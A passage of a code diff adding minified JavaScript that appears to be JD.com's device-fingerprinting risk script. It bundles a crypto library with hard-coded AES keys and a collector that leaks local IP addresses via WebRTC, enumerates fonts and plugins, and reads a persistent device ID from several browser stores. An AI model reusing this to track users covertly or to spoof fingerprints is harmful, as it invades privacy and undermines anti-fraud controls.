2) + } + }, + e = y.Latin1 = { + stringify: function (g) { + var m = g.words; + g = g.sigBytes; + for (var a = [], b = 0; b < g; b++) a.push(String.fromCharCode(m[b >>> 2] >>> 24 - b % 4 * 8 & + 255)); + return a.join("") + }, + parse: function (g) { + for (var m = g.length, a = [], b = 0; b < m; b++) a[b >>> 2] |= (g.charCodeAt(b) & 255) << 24 - + b % 4 * 8; + return new A.init(a, m) + } + }, + f = y.Utf8 = { + stringify: function (g) { + try { + return decodeURIComponent(escape(e.stringify(g))) + } catch (m) { + throw Error("Malformed UTF-8 data"); + } + }, + parse: function (g) { + return e.parse(unescape(encodeURIComponent(g))) + } + }, + r = x.BufferedBlockAlgorithm = w.extend({ + reset: function () { + this._data = new A.init; + this._nDataBytes = 0 + }, + _append: function (g) { + "string" == typeof g && (g = f.parse(g)); + this._data.concat(g); + this._nDataBytes += g.sigBytes + }, + _process: function (g) { + var m = this._data, + a = m.words, + b = m.sigBytes, + c = this.blockSize, + l = b / (4 * c); + l = g ? t.ceil(l) : t.max((l | 0) - this._minBufferSize, 0); + g = l * c; + b = t.min(4 * g, b); + if (g) { + for (var h = 0; h < g; h += c) this._doProcessBlock(a, h); + h = a.splice(0, g); + m.sigBytes -= b + } + return new A.init(h, b) + }, + clone: function () { + var g = w.clone.call(this); + g._data = this._data.clone(); + return g + }, + _minBufferSize: 0 + }); +x.Hasher = r.extend({ + cfg: w.extend(), + init: function (g) { + this.cfg = this.cfg.extend(g); + this.reset() + }, + reset: function () { + r.reset.call(this); + this._doReset() + }, + update: function (g) { + this._append(g); + this._process(); + return this + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + blockSize: 16, + _createHelper: function (g) { + return function (m, a) { + return (new g.init(a)).finalize(m) + } + }, + _createHmacHelper: function (g) { + return function (m, a) { + return (new k.HMAC.init(g, a)).finalize(m) + } + } +}); +var k = v.algo = {}; +v.channel = {}; +return v +}(Math); + +JDDSecCryptoJS.lib.Cipher || function (t) { +var u = JDDSecCryptoJS, + v = u.lib, + x = v.Base, + w = v.WordArray, + A = v.BufferedBlockAlgorithm, + y = v.Cipher = A.extend({ + cfg: x.extend(), + createEncryptor: function (g, m) { + return this.create(this._ENC_XFORM_MODE, g, m) + }, + createDecryptor: function (g, m) { + return this.create(this._DEC_XFORM_MODE, g, m) + }, + init: function (g, m, a) { + this.cfg = this.cfg.extend(a); + this._xformMode = g; + this._key = m; + this.reset() + }, + reset: function () { + A.reset.call(this); + this._doReset() + }, + process: function (g) { + this._append(g); + return this._process() + }, + finalize: function (g) { + g && this._append(g); + return this._doFinalize() + }, + keySize: 4, + ivSize: 4, + _ENC_XFORM_MODE: 1, + _DEC_XFORM_MODE: 2, + _createHelper: function () { + function g(m) { + if ("string" != typeof m) return k + } + return function (m) { + return { + encrypt: function (a, b, c) { + return g(b).encrypt(m, a, b, c) + }, + decrypt: function (a, b, c) { + return g(b).decrypt(m, a, b, c) + } + } + } + }() + }); +v.StreamCipher = y.extend({ + _doFinalize: function () { + return this._process(!0) + }, + blockSize: 1 +}); +var n = u.mode = {}, + e = v.BlockCipherMode = x.extend({ + createEncryptor: function (g, m) { + return this.Encryptor.create(g, m) + }, + createDecryptor: function (g, m) { + return this.Decryptor.create(g, m) + }, + init: function (g, m) { + this._cipher = g; + this._iv = m + } + }); +n = n.CBC = function () { + function g(a, b, c) { + var l = this._iv; + l ? this._iv = t : l = this._prevBlock; + for (var h = 0; h < c; h++) a[b + h] ^= l[h] + } + var m = e.extend(); + m.Encryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize; + g.call(this, a, b, l); + c.encryptBlock(a, b); + this._prevBlock = a.slice(b, b + l) + } + }); + m.Decryptor = m.extend({ + processBlock: function (a, b) { + var c = this._cipher, + l = c.blockSize, + h = a.slice(b, b + l); + c.decryptBlock(a, b); + g.call(this, a, b, l); + this._prevBlock = h + } + }); + return m +}(); +var f = (u.pad = {}).Pkcs7 = { + pad: function (g, m) { + m *= 4; + m -= g.sigBytes % m; + for (var a = m << 24 | m << 16 | m << 8 | m, b = [], c = 0; c < m; c += 4) b.push(a); + m = w.create(b, m); + g.concat(m) + }, + unpad: function (g) { + g.sigBytes -= g.words[g.sigBytes - 1 >>> 2] & 255 + } +}; +v.BlockCipher = y.extend({ + cfg: y.cfg.extend({ + mode: n, + padding: f + }), + reset: function () { + y.reset.call(this); + var g = this.cfg, + m = g.iv; + g = g.mode; + if (this._xformMode == this._ENC_XFORM_MODE) var a = g.createEncryptor; + else a = g.createDecryptor, this._minBufferSize = 1; + this._mode = a.call(g, this, m && m.words) + }, + _doProcessBlock: function (g, m) { + this._mode.processBlock(g, m) + }, + _doFinalize: function () { + var g = this.cfg.padding; + if (this._xformMode == this._ENC_XFORM_MODE) { + g.pad(this._data, this.blockSize); + var m = this._process(!0) + } else m = this._process(!0), g.unpad(m); + return m + }, + blockSize: 4 +}); +var r = v.CipherParams = x.extend({ + init: function (g) { + this.mixIn(g) + }, + toString: function (g) { + return (g || this.formatter).stringify(this) + } +}); +u.format = {}; +var k = v.SerializableCipher = x.extend({ + cfg: x.extend({}), + encrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + var c = g.createEncryptor(a, b); + m = c.finalize(m); + c = c.cfg; + return r.create({ + ciphertext: m, + key: a, + iv: c.iv, + algorithm: g, + mode: c.mode, + padding: c.padding, + blockSize: g.blockSize, + formatter: b.format + }) + }, + decrypt: function (g, m, a, b) { + b = this.cfg.extend(b); + m = this._parse(m, b.format); + return g.createDecryptor(a, b).finalize(m.ciphertext) + }, + _parse: function (g, m) { + return "string" == typeof g ? m.parse(g, this) : g + } +}) +}(); +(function () { +var t = JDDSecCryptoJS, + u = t.lib.BlockCipher, + v = t.algo, + x = [], + w = [], + A = [], + y = [], + n = [], + e = [], + f = [], + r = [], + k = [], + g = []; +(function () { + for (var a = [], b = 0; 256 > b; b++) a[b] = 128 > b ? b << 1 : b << 1 ^ 283; + var c = 0, + l = 0; + for (b = 0; 256 > b; b++) { + var h = l ^ l << 1 ^ l << 2 ^ l << 3 ^ l << 4; + h = h >>> 8 ^ h & 255 ^ 99; + x[c] = h; + w[h] = c; + var q = a[c], + z = a[q], + C = a[z], + D = 257 * a[h] ^ 16843008 * h; + A[c] = D << 24 | D >>> 8; + y[c] = D << 16 | D >>> 16; + n[c] = D << 8 | D >>> 24; + e[c] = D; + D = 16843009 * C ^ 65537 * z ^ 257 * q ^ 16843008 * c; + f[h] = D << 24 | D >>> 8; + r[h] = D << 16 | D >>> 16; + k[h] = D << 8 | D >>> 24; + g[h] = D; + c ? (c = q ^ a[a[a[C ^ q]]], l ^= a[a[l]]) : c = l = 1 + } +})(); +var m = [0, 1, 2, 4, 8, 16, 32, 64, 128, 27, 54]; +v = v.AES = u.extend({ + _doReset: function () { + var a = this._key, + b = a.words, + c = a.sigBytes / 4; + a = 4 * ((this._nRounds = c + 6) + 1); + for (var l = this._keySchedule = [], h = 0; h < a; h++) + if (h < c) l[h] = b[h]; + else { + var q = l[h - 1]; + h % c ? 6 < c && 4 == h % c && (q = x[q >>> 24] << 24 | x[q >>> 16 & 255] << 16 | x[ + q >>> 8 & 255] << 8 | x[q & 255]) : (q = q << 8 | q >>> 24, q = x[q >>> 24] << + 24 | x[q >>> 16 & 255] << 16 | x[q >>> 8 & 255] << 8 | x[q & 255], q ^= m[h / + c | 0] << 24); + l[h] = l[h - c] ^ q + } b = this._invKeySchedule = []; + for (c = 0; c < a; c++) h = a - c, q = c % 4 ? l[h] : l[h - 4], b[c] = 4 > c || 4 >= h ? q : + f[x[q >>> 24]] ^ r[x[q >>> 16 & 255]] ^ k[x[q >>> 8 & 255]] ^ g[x[q & 255]] + }, + encryptBlock: function (a, b) { + this._doCryptBlock(a, b, this._keySchedule, A, y, n, e, x) + }, + decryptBlock: function (a, b) { + var c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c; + this._doCryptBlock(a, b, this._invKeySchedule, f, r, k, g, w); + c = a[b + 1]; + a[b + 1] = a[b + 3]; + a[b + 3] = c + }, + _doCryptBlock: function (a, b, c, l, h, q, z, C) { + for (var D = this._nRounds, B = a[b] ^ c[0], F = a[b + 1] ^ c[1], H = a[b + 2] ^ c[2], G = + a[b + 3] ^ c[3], I = 4, M = 1; M < D; M++) { + var J = l[B >>> 24] ^ h[F >>> 16 & 255] ^ q[H >>> 8 & 255] ^ z[G & 255] ^ c[I++], + K = l[F >>> 24] ^ h[H >>> 16 & 255] ^ q[G >>> 8 & 255] ^ z[B & 255] ^ c[I++], + L = l[H >>> 24] ^ h[G >>> 16 & 255] ^ q[B >>> 8 & 255] ^ z[F & 255] ^ c[I++]; + G = l[G >>> 24] ^ h[B >>> 16 & 255] ^ q[F >>> 8 & 255] ^ z[H & 255] ^ c[I++]; + B = J; + F = K; + H = L + } + J = (C[B >>> 24] << 24 | C[F >>> 16 & 255] << 16 | C[H >>> 8 & 255] << 8 | C[G & 255]) ^ c[ + I++]; + K = (C[F >>> 24] << 24 | C[H >>> 16 & 255] << 16 | C[G >>> 8 & 255] << 8 | C[B & 255]) ^ c[ + I++]; + L = (C[H >>> 24] << 24 | C[G >>> 16 & 255] << 16 | C[B >>> 8 & 255] << 8 | C[F & 255]) ^ c[ + I++]; + G = (C[G >>> 24] << 24 | C[B >>> 16 & 255] << 16 | C[F >>> 8 & 255] << 8 | C[H & 255]) ^ c[ + I++]; + a[b] = J; + a[b + 1] = K; + a[b + 2] = L; + a[b + 3] = G + }, + keySize: 8 +}); +t.AES = u._createHelper(v) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib, + v = u.WordArray, + x = u.Hasher, + w = []; +u = t.algo.SHA1 = x.extend({ + _doReset: function () { + this._hash = new v.init([1732584193, 4023233417, 2562383102, 271733878, 3285377520]) + }, + _doProcessBlock: function (A, y) { + for (var n = this._hash.words, e = n[0], f = n[1], r = n[2], k = n[3], g = n[4], m = 0; 80 > + m; m++) { + if (16 > m) w[m] = A[y + m] | 0; + else { + var a = w[m - 3] ^ w[m - 8] ^ w[m - 14] ^ w[m - 16]; + w[m] = a << 1 | a >>> 31 + } + a = (e << 5 | e >>> 27) + g + w[m]; + a = 20 > m ? a + ((f & r | ~f & k) + 1518500249) : 40 > m ? a + ((f ^ r ^ k) + + 1859775393) : 60 > m ? a + ((f & r | f & k | r & k) - 1894007588) : a + ((f ^ r ^ + k) - 899497514); + g = k; + k = r; + r = f << 30 | f >>> 2; + f = e; + e = a + } + n[0] = n[0] + e | 0; + n[1] = n[1] + f | 0; + n[2] = n[2] + r | 0; + n[3] = n[3] + k | 0; + n[4] = n[4] + g | 0 + }, + _doFinalize: function () { + var A = this._data, + y = A.words, + n = 8 * this._nDataBytes, + e = 8 * A.sigBytes; + y[e >>> 5] |= 128 << 24 - e % 32; + y[(e + 64 >>> 9 << 4) + 14] = Math.floor(n / 4294967296); + y[(e + 64 >>> 9 << 4) + 15] = n; + A.sigBytes = 4 * y.length; + this._process(); + return this._hash + }, + clone: function () { + var A = x.clone.call(this); + A._hash = this._hash.clone(); + return A + } +}); +t.SHA1 = x._createHelper(u); +t.HmacSHA1 = x._createHmacHelper(u) +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.channel; +u.Downlink = { + deBase32: function (v) { + if (void 0 == v || "" == v || null == v) return ""; + var x = t.enc.Hex.parse("30313233343536373839616263646566"), + w = t.enc.Hex.parse("724e5428476f307361374d3233784a6c"); + return t.AES.decrypt({ + ciphertext: t.enc.Base32.parse(v) + }, w, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: x + }).toString(t.enc.Utf8) + }, + deBase64: function (v) { + return "" + } +}; +u.Uplink = { + enAsBase32: function (v) { + return "" + }, + enAsBase64: function (v) { + return "" + } +} +})(); + +(function () { +var t = JDDSecCryptoJS, + u = t.lib.WordArray; +t.enc.Base32 = { + stringify: function (v) { + var x = v.words, + w = v.sigBytes, + A = this._map; + v.clamp(); + v = []; + for (var y = 0; y < w; y += 5) { + for (var n = [], e = 0; 5 > e; e++) n[e] = x[y + e >>> 2] >>> 24 - (y + e) % 4 * 8 & 255; + n = [n[0] >>> 3 & 31, (n[0] & 7) << 2 | n[1] >>> 6 & 3, n[1] >>> 1 & 31, (n[1] & 1) << 4 | + n[2] >>> 4 & 15, (n[2] & 15) << 1 | n[3] >>> 7 & 1, n[3] >>> 2 & 31, (n[3] & 3) << + 3 | n[4] >>> 5 & 7, n[4] & 31]; + for (e = 0; 8 > e && y + .625 * e < w; e++) v.push(A.charAt(n[e])) + } + if (x = A.charAt(32)) + for (; v.length % 8;) v.push(x); + return v.join("") + }, + parse: function (v) { + var x = v.length, + w = this._map, + A = w.charAt(32); + A && (A = v.indexOf(A), -1 != A && (x = A)); + A = []; + for (var y = 0, n = 0; n < x; n++) { + var e = n % 8; + if (0 != e && 2 != e && 5 != e) { + var f = 255 & w.indexOf(v.charAt(n - 1)) << (40 - 5 * e) % 8, + r = 255 & w.indexOf(v.charAt(n)) >>> (5 * e - 3) % 8; + e = e % 3 ? 0 : 255 & w.indexOf(v.charAt(n - 2)) << (3 == e ? 6 : 7); + A[y >>> 2] |= (f | r | e) << 24 - y % 4 * 8; + y++ + } + } + return u.create(A, y) + }, + _map: "ABCDEFGHIJKLMNOPQRSTUVWXYZ234567" +} +})(); + +class JDDMAC { + static t() { + return "00000000 77073096 EE0E612C 990951BA 076DC419 706AF48F E963A535 9E6495A3 0EDB8832 79DCB8A4 E0D5E91E 97D2D988 09B64C2B 7EB17CBD E7B82D07 90BF1D91 1DB71064 6AB020F2 F3B97148 84BE41DE 1ADAD47D 6DDDE4EB F4D4B551 83D385C7 136C9856 646BA8C0 FD62F97A 8A65C9EC 14015C4F 63066CD9 FA0F3D63 8D080DF5 3B6E20C8 4C69105E D56041E4 A2677172 3C03E4D1 4B04D447 D20D85FD A50AB56B 35B5A8FA 42B2986C DBBBC9D6 ACBCF940 32D86CE3 45DF5C75 DCD60DCF ABD13D59 26D930AC 51DE003A C8D75180 BFD06116 21B4F4B5 56B3C423 CFBA9599 B8BDA50F 2802B89E 5F058808 C60CD9B2 B10BE924 2F6F7C87 58684C11 C1611DAB B6662D3D 76DC4190 01DB7106 98D220BC EFD5102A 71B18589 06B6B51F 9FBFE4A5 E8B8D433 7807C9A2 0F00F934 9609A88E E10E9818 7F6A0DBB 086D3D2D 91646C97 E6635C01 6B6B51F4 1C6C6162 856530D8 F262004E 6C0695ED 1B01A57B 8208F4C1 F50FC457 65B0D9C6 12B7E950 8BBEB8EA FCB9887C 62DD1DDF 15DA2D49 8CD37CF3 FBD44C65 4DB26158 3AB551CE A3BC0074 D4BB30E2 4ADFA541 3DD895D7 A4D1C46D D3D6F4FB 4369E96A 346ED9FC AD678846 DA60B8D0 44042D73 33031DE5 AA0A4C5F DD0D7CC9 5005713C 270241AA BE0B1010 C90C2086 5768B525 206F85B3 B966D409 CE61E49F 5EDEF90E 29D9C998 B0D09822 C7D7A8B4 59B33D17 2EB40D81 B7BD5C3B C0BA6CAD EDB88320 9ABFB3B6 03B6E20C 74B1D29A EAD54739 9DD277AF 04DB2615 73DC1683 E3630B12 94643B84 0D6D6A3E 7A6A5AA8 E40ECF0B 9309FF9D 0A00AE27 7D079EB1 F00F9344 8708A3D2 1E01F268 6906C2FE F762575D 806567CB 196C3671 6E6B06E7 FED41B76 89D32BE0 10DA7A5A 67DD4ACC F9B9DF6F 8EBEEFF9 17B7BE43 60B08ED5 D6D6A3E8 A1D1937E 38D8C2C4 4FDFF252 D1BB67F1 A6BC5767 3FB506DD 48B2364B D80D2BDA AF0A1B4C 36034AF6 41047A60 DF60EFC3 A867DF55 316E8EEF 4669BE79 CB61B38C BC66831A 256FD2A0 5268E236 CC0C7795 BB0B4703 220216B9 5505262F C5BA3BBE B2BD0B28 2BB45A92 5CB36A04 C2D7FFA7 B5D0CF31 2CD99E8B 5BDEAE1D 9B64C2B0 EC63F226 756AA39C 026D930A 9C0906A9 EB0E363F 72076785 05005713 95BF4A82 E2B87A14 7BB12BAE 0CB61B38 92D28E9B E5D5BE0D 7CDCEFB7 0BDBDF21 86D3D2D4 F1D4E242 68DDB3F8 1FDA836E 81BE16CD F6B9265B 6FB077E1 18B74777 88085AE6 FF0F6A70 66063BCA 11010B5C 8F659EFF F862AE69 616BFFD3 166CCF45 A00AE278 D70DD2EE 4E048354 3903B3C2 A7672661 D06016F7 4969474D 3E6E77DB AED16A4A D9D65ADC 40DF0B66 37D83BF0 A9BCAE53 DEBB9EC5 47B2CF7F 30B5FFE9 BDBDF21C CABAC28A 53B39330 24B4A3A6 BAD03605 CDD70693 54DE5729 23D967BF B3667A2E C4614AB8 5D681B02 2A6F2B94 B40BBE37 C30C8EA1 5A05DF1B 2D02EF8D" + .split(" ").map(function (v) { + return parseInt(v, 16) + }) + } + mac(v) { + for (var x = -1, w = 0, A = v.length; w < A; w++) x = x >>> 8 ^ t[(x ^ v.charCodeAt(w)) & 255]; + return (x ^ -1) >>> 0 + } +} +var _CurrentPageProtocol = "https:" == document.location.protocol ? "https://" : "http://", +_JdJrTdRiskDomainName = window.__fp_domain || "gia.jd.com", +_url_query_str = "", +_root_domain = "", +_CurrentPageUrl = function () { + var t = document.location.href.toString(); + try { + _root_domain = /^https?:\/\/(?:\w+\.)*?(\w*\.(?:com\.cn|cn|com|net|id))[\\\/]*/.exec(t)[1] + } catch (v) {} + var u = t.indexOf("?"); + 0 < u && (_url_query_str = t.substring(u + 1), 500 < _url_query_str.length && (_url_query_str = _url_query_str.substring( + 0, 499)), t = t.substring(0, u)); + return t = t.substring(_CurrentPageProtocol.length) +}(), +jd_shadow__ = function () { + try { + var t = JDDSecCryptoJS, + u = []; + u.push(_CurrentPageUrl); + var v = t.lib.UUID.generateUuid(); + u.push(v); + var x = (new Date).getTime(); + u.push(x); + var w = t.SHA1(u.join("")).toString().toUpperCase(); + u = []; + u.push("JD3"); + u.push(w); + var A = (new JDDMAC).mac(u.join("")); + u.push(A); + var y = t.enc.Hex.parse("30313233343536373839616263646566"), + n = t.enc.Hex.parse("4c5751554935255042304e6458323365"), + e = u.join(""); + return t.AES.encrypt(t.enc.Utf8.parse(e), n, { + mode: t.mode.CBC, + padding: t.pad.Pkcs7, + iv: y + }).ciphertext.toString(t.enc.Base32) + } catch (f) { + console.log(f) + } +}() +var td_collect = new function () { + function t() { + var n = window.webkitRTCPeerConnection || window.mozRTCPeerConnection || window.RTCPeerConnection; + if (n) { + var e = function (k) { + var g = /([0-9]{1,3}(\.[0-9]{1,3}){3})/, + m = + /\s*((([0-9A-Fa-f]{1,4}:){7}([0-9A-Fa-f]{1,4}|:))|(([0-9A-Fa-f]{1,4}:){6}(:[0-9A-Fa-f]{1,4}|((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){5}(((:[0-9A-Fa-f]{1,4}){1,2})|:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3})|:))|(([0-9A-Fa-f]{1,4}:){4}(((:[0-9A-Fa-f]{1,4}){1,3})|((:[0-9A-Fa-f]{1,4})?:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){3}(((:[0-9A-Fa-f]{1,4}){1,4})|((:[0-9A-Fa-f]{1,4}){0,2}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){2}(((:[0-9A-Fa-f]{1,4}){1,5})|((:[0-9A-Fa-f]{1,4}){0,3}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(([0-9A-Fa-f]{1,4}:){1}(((:[0-9A-Fa-f]{1,4}){1,6})|((:[0-9A-Fa-f]{1,4}){0,4}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:))|(:(((:[0-9A-Fa-f]{1,4}){1,7})|((:[0-9A-Fa-f]{1,4}){0,5}:((25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)(\.(25[0-5]|2[0-4]\d|1\d\d|[1-9]?\d)){3}))|:)))(%.+)?\s*/; + try { + var a = g.exec(k); + if (null == a || 0 == a.length || void 0 == a) a = m.exec(k); + var b = a[1]; + void 0 === f[b] && w.push(b); + f[b] = !0 + } catch (c) { } + }, + f = {}; + try { + var r = new n({ + iceServers: [{ + url: "stun:stun.services.mozilla.com" + }] + }) + } catch (k) { } + try { + void 0 === r && (r = new n({ + iceServers: [] + })) + } catch (k) { } + if (r || window.mozRTCPeerConnection) try { + r.createDataChannel("chat", { + reliable: !1 + }) + } catch (k) { } + r && (r.onicecandidate = function (k) { + k.candidate && e(k.candidate.candidate) + }, r.createOffer(function (k) { + r.setLocalDescription(k, function () { }, function () { }) + }, function () { }), setTimeout(function () { + try { + r.localDescription.sdp.split("\n").forEach(function (k) { + 0 === k.indexOf("a=candidate:") && e(k) + }) + } catch (k) { } + }, 800)) + } + } + + function u(n) { + var e; + return (e = document.cookie.match(new RegExp("(^| )" + n + "=([^;]*)(;|$)"))) ? e[2] : "" + } + + function v() { + function n(g) { + var m = {}; + r.style.fontFamily = g; + document.body.appendChild(r); + m.height = r.offsetHeight; + m.width = r.offsetWidth; + document.body.removeChild(r); + return m + } + var e = ["monospace", "sans-serif", "serif"], + f = [], + r = document.createElement("span"); + r.style.fontSize = "72px"; + r.style.visibility = "hidden"; + r.innerHTML = "mmmmmmmmmmlli"; + for (var k = 0; k < e.length; k++) f[k] = n(e[k]); + this.checkSupportFont = function (g) { + for (var m = 0; m < f.length; m++) { + var a = n(g + "," + e[m]), + b = f[m]; + if (a.height !== b.height || a.width !== b.width) return !0 + } + return !1 + } + } + + function x(n) { + var e = {}; + e.name = n.name; + e.filename = n.filename.toLowerCase(); + e.description = n.description; + void 0 !== n.version && (e.version = n.version); + e.mimeTypes = []; + for (var f = 0; f < n.length; f++) { + var r = n[f], + k = {}; + k.description = r.description; + k.suffixes = r.suffixes; + k.type = r.type; + e.mimeTypes.push(k) + } + return e + } + this.bizId = ""; + this.bioConfig = { + type: "42", + operation: 1, + duraTime: 2, + interval: 50 + }; + this.worder = null; + this.deviceInfo = { + userAgent: "", + isJdApp: !1, + isJrApp: !1, + sdkToken: "", + fp: "", + eid: "" + }; + this.isRpTok = !1; + this.obtainLocal = function (n) { + n = "undefined" !== typeof n && n ? !0 : !1; + var e = {}; + try { + var f = document.cookie.replace(/(?:(?:^|.*;\s*)3AB9D23F7A4B3C9B\s*=\s*([^;]*).*$)|^.*$/, "$1"); + 0 !== f.length && (e.cookie = f) + } catch (k) { } + try { + window.localStorage && null !== window.localStorage && 0 !== window.localStorage.length && (e.localStorage = + window.localStorage.getItem("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + window.sessionStorage && null !== window.sessionStorage && (e.sessionStorage = window.sessionStorage[ + "3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + p.globalStorage && (e.globalStorage = window.globalStorage[".localdomain"]["3AB9D23F7A4B3C9B"]) + } catch (k) { } + try { + d && "function" == typeof d.load && "function" == typeof d.getAttribute && (d.load( + "jdgia_user_data"), e.userData = d.getAttribute("3AB9D23F7A4B3C9B")) + } catch (k) { } + try { + E.indexedDbId && (e.indexedDb = E.indexedDbId) + } catch (k) { } + try { + E.webDbId && (e.webDb = E.webDbId) + } catch (k) { } + try { + for (var r in e) + if (32 < e[r].length) { + _JdEid = e[r]; + n || (_eidFlag = !0); + break + } + } catch (k) { } + try { + ("undefined" === typeof _JdEid || 0 >= _JdEid.length) && this.db("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _JdEid = u("3AB9D23F7A4B3C9B"); + if ("undefined" === typeof _JdEid || 0 >= _JdEid.length) _eidFlag = !0 + } catch (k) { } + return _JdEid + }; + var w = [], + A = + "Abadi MT Condensed Light;Adobe Fangsong Std;Adobe Hebrew;Adobe Ming Std;Agency FB;Arab;Arabic Typesetting;Arial Black;Batang;Bauhaus 93;Bell MT;Bitstream Vera Serif;Bodoni MT;Bookman Old Style;Braggadocio;Broadway;Calibri;Californian FB;Castellar;Casual;Centaur;Century Gothic;Chalkduster;Colonna MT;Copperplate Gothic Light;DejaVu LGC Sans Mono;Desdemona;DFKai-SB;Dotum;Engravers MT;Eras Bold ITC;Eurostile;FangSong;Forte;Franklin Gothic Heavy;French Script MT;Gabriola;Gigi;Gisha;Goudy Old Style;Gulim;GungSeo;Haettenschweiler;Harrington;Hiragino Sans GB;Impact;Informal Roman;KacstOne;Kino MT;Kozuka Gothic Pr6N;Lohit Gujarati;Loma;Lucida Bright;Lucida Fax;Magneto;Malgun Gothic;Matura MT Script Capitals;Menlo;MingLiU-ExtB;MoolBoran;MS PMincho;MS Reference Sans Serif;News Gothic MT;Niagara Solid;Nyala;Palace Script MT;Papyrus;Perpetua;Playbill;PMingLiU;Rachana;Rockwell;Sawasdee;Script MT Bold;Segoe Print;Showcard Gothic;SimHei;Snap ITC;TlwgMono;Tw Cen MT Condensed Extra Bold;Ubuntu;Umpush;Univers;Utopia;Vladimir Script;Wide Latin" + .split(";"), + y = + "4game;AdblockPlugin;AdobeExManCCDetect;AdobeExManDetect;Alawar NPAPI utils;Aliedit Plug-In;Alipay Security Control 3;AliSSOLogin plugin;AmazonMP3DownloaderPlugin;AOL Media Playback Plugin;AppUp;ArchiCAD;AVG SiteSafety plugin;Babylon ToolBar;Battlelog Game Launcher;BitCometAgent;Bitdefender QuickScan;BlueStacks Install Detector;CatalinaGroup Update;Citrix ICA Client;Citrix online plug-in;Citrix Receiver Plug-in;Coowon Update;DealPlyLive Update;Default Browser Helper;DivX Browser Plug-In;DivX Plus Web Player;DivX VOD Helper Plug-in;doubleTwist Web Plugin;Downloaders plugin;downloadUpdater;eMusicPlugin DLM6;ESN Launch Mozilla Plugin;ESN Sonar API;Exif Everywhere;Facebook Plugin;File Downloader Plug-in;FileLab plugin;FlyOrDie Games Plugin;Folx 3 Browser Plugin;FUZEShare;GDL Object Web Plug-in 16.00;GFACE Plugin;Ginger;Gnome Shell Integration;Google Earth Plugin;Google Earth Plug-in;Google Gears 0.5.33.0;Google Talk Effects Plugin;Google Update;Harmony Firefox Plugin;Harmony Plug-In;Heroes & Generals live;HPDetect;Html5 location provider;IE Tab plugin;iGetterScriptablePlugin;iMesh plugin;Kaspersky Password Manager;LastPass;LogMeIn Plugin 1.0.0.935;LogMeIn Plugin 1.0.0.961;Ma-Config.com plugin;Microsoft Office 2013;MinibarPlugin;Native Client;Nitro PDF Plug-In;Nokia Suite Enabler Plugin;Norton Identity Safe;npAPI Plugin;NPLastPass;NPPlayerShell;npTongbuAddin;NyxLauncher;Octoshape Streaming Services;Online Storage plug-in;Orbit Downloader;Pando Web Plugin;Parom.TV player plugin;PDF integrado do WebKit;PDF-XChange Viewer;PhotoCenterPlugin1.1.2.2;Picasa;PlayOn Plug-in;QQ2013 Firefox Plugin;QQDownload Plugin;QQMiniDL Plugin;QQMusic;RealDownloader Plugin;Roblox Launcher Plugin;RockMelt Update;Safer Update;SafeSearch;Scripting.Dictionary;SefClient Plugin;Shell.UIHelper;Silverlight Plug-In;Simple Pass;Skype Web Plugin;SumatraPDF Browser Plugin;Symantec PKI Client;Tencent FTN plug-in;Thunder DapCtrl NPAPI Plugin;TorchHelper;Unity Player;Uplay PC;VDownloader;Veetle TV Core;VLC Multimedia Plugin;Web Components;WebKit-integrierte PDF;WEBZEN Browser Extension;Wolfram Mathematica;WordCaptureX;WPI Detector 1.4;Yandex Media Plugin;Yandex PDF Viewer;YouTube Plug-in;zako" + .split(";"); + this.toJson = "object" === typeof JSON && JSON.stringify; + this.init = function () { + _fingerprint_step = 6; + t(); + _fingerprint_step = 7; + "function" !== typeof this.toJson && (this.toJson = function (n) { + var e = typeof n; + if ("undefined" === e || null === n) return "null"; + if ("number" === e || "boolean" === e) return n + ""; + if ("object" === e && n && n.constructor === Array) { + e = []; + for (var f = 0; n.length > f; f++) e.push(this.toJson(n[f])); + return "[" + (e + "]") + } + if ("object" === e) { + e = []; + for (f in n) n.hasOwnProperty(f) && e.push('"' + f + '":' + this.toJson(n[f])); + return "{" + (e + "}") + } + }); + this.sdkCollectInit() + }; + this.sdkCollectInit = function () { + try { + try { + bp_bizid && (this.bizId = bp_bizid) + } catch (f) { + this.bizId = "jsDefault" + } + var n = navigator.userAgent.toLowerCase(), + e = !n.match(/(iphone|ipad|ipod)/i) && (-1 < n.indexOf("android") || -1 < n.indexOf("adr")); + this.deviceInfo.isJdApp = -1 < n.indexOf("jdapp"); + this.deviceInfo.isJrApp = -1 < n.indexOf("jdjr"); + this.deviceInfo.userAgent = navigator.userAgent; + this.deviceInfo.isAndroid = e; + this.createWorker() + } catch (f) { } + }; + this.db = function (n, e) { + try { + _fingerprint_step = "m"; + if (window.openDatabase) { + var f = window.openDatabase("sqlite_jdtdstorage", "", "jdtdstorage", 1048576); + void 0 !== e && "" != e ? f.transaction(function (r) { + r.executeSql( + "CREATE TABLE IF NOT EXISTS cache(id INTEGER NOT NULL PRIMARY KEY AUTOINCREMENT, name TEXT NOT NULL, value TEXT NOT NULL, UNIQUE (name))", + [], + function (k, g) { }, + function (k, g) { }); + r.executeSql("INSERT OR REPLACE INTO cache(name, value) 